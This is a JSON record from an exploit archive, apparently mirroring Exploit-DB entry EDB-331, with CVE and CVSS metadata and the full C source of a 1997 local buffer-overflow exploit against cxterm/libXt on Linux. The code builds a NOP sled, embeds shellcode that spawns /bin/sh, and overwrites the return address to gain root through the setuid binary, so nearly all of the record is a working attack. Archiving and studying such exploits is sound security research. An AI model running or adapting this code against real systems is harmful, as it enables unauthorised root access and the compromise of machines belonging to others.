{"exploit":{"id":"EDB-331","name":"LibXt - 'XtAppInitialize()' Local Overflow *xterm","description":"LibXt - 'XtAppInitialize()' Local Overflow *xterm","cves":["CVE-1999-0040"],"author":"Ming Zhang","published":"1997-05-14","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/331","path":"exploits/linux/local/331.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-331.c","vulnerabilities":[{"id":"CVE-1999-0040","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Xt library of X Windowing System allows local users to execute commands with root privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0040","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0040"},"updatedAt":"2024-08-01T16:27:56.678Z","retrievedAt":"2026-11-26T12:05:34.815Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-331.png?v=2","url":"https://exploitbin.com/exploits/EDB-331","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-331/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-331/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\n   cxterm buffer overflow exploit for Linux.  This code is tested on\nboth Slackware 3.1 and 3.2.\n\n\t\t\t\t\tMing Zhang\n                                        mzhang@softcom.net\n*/\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n\n#define CXTERM_PATH \"/usr/X11R6/bin/cxterm\"\n#define BUFFER_SIZE 1024\n#define DEFAULT_OFFSET 50\n\n#define NOP_SIZE 1\nchar nop[] = \"\\x90\";\nchar shellcode[] =\n  \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n  \"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n  \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\";\n\nunsigned long get_sp(void) {\n   __asm__(\"movl %esp,%eax\");\n}\n\nvoid main(int argc,char **argv)\n{\n   char *buff = NULL;\n   unsigned long *addr_ptr = NULL;\n   char *ptr = NULL;\n   int i,OffSet = DEFAULT_OFFSET;\n\n/* use a different offset if you find this program doesn't do the job */\n   if (argc>1) OffSet = atoi(argv[1]);\n\n   buff = malloc(2048);\n   if(!buff)\n   {\n      printf(\"Buy more RAM!\\n\");\n      exit(0);\n   }\n   ptr = buff;\n\n   for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;\ni+=NOP_SIZE) {\n        memcpy (ptr,nop,NOP_SIZE);\n        ptr+=NOP_SIZE;\n   }\n\n   for(i=0;i < strlen(shellcode);i++)\n      *(ptr++) = shellcode[i];\n\n   addr_ptr = (long *)ptr;\n   for(i=0;i < (8/4);i++)\n      *(addr_ptr++) = get_sp() + OffSet;\n   ptr = (char *)addr_ptr;\n   *ptr = 0;\n   (void) fprintf(stderr,\n         \"This bug is discovered by Ming Zhang\n(mzhang@softcom.net)\\n\");\n    /* Don't need to set ur DISPLAY to exploit this one, cool huh? */\n    execl(CXTERM_PATH, \"cxterm\", \"-xrm\",buff, NULL);\n}\n\n// milw0rm.com [1997-05-14]","sha256":"3bd54d6aeeba338c7524feeefdbc123606f8bb9cd41f3f9db0b13722513b17b2","bytes":1622,"fetchedAt":"2026-11-26T12:05:31.627Z","encoding":"utf-8 (display only; download retains original bytes)"}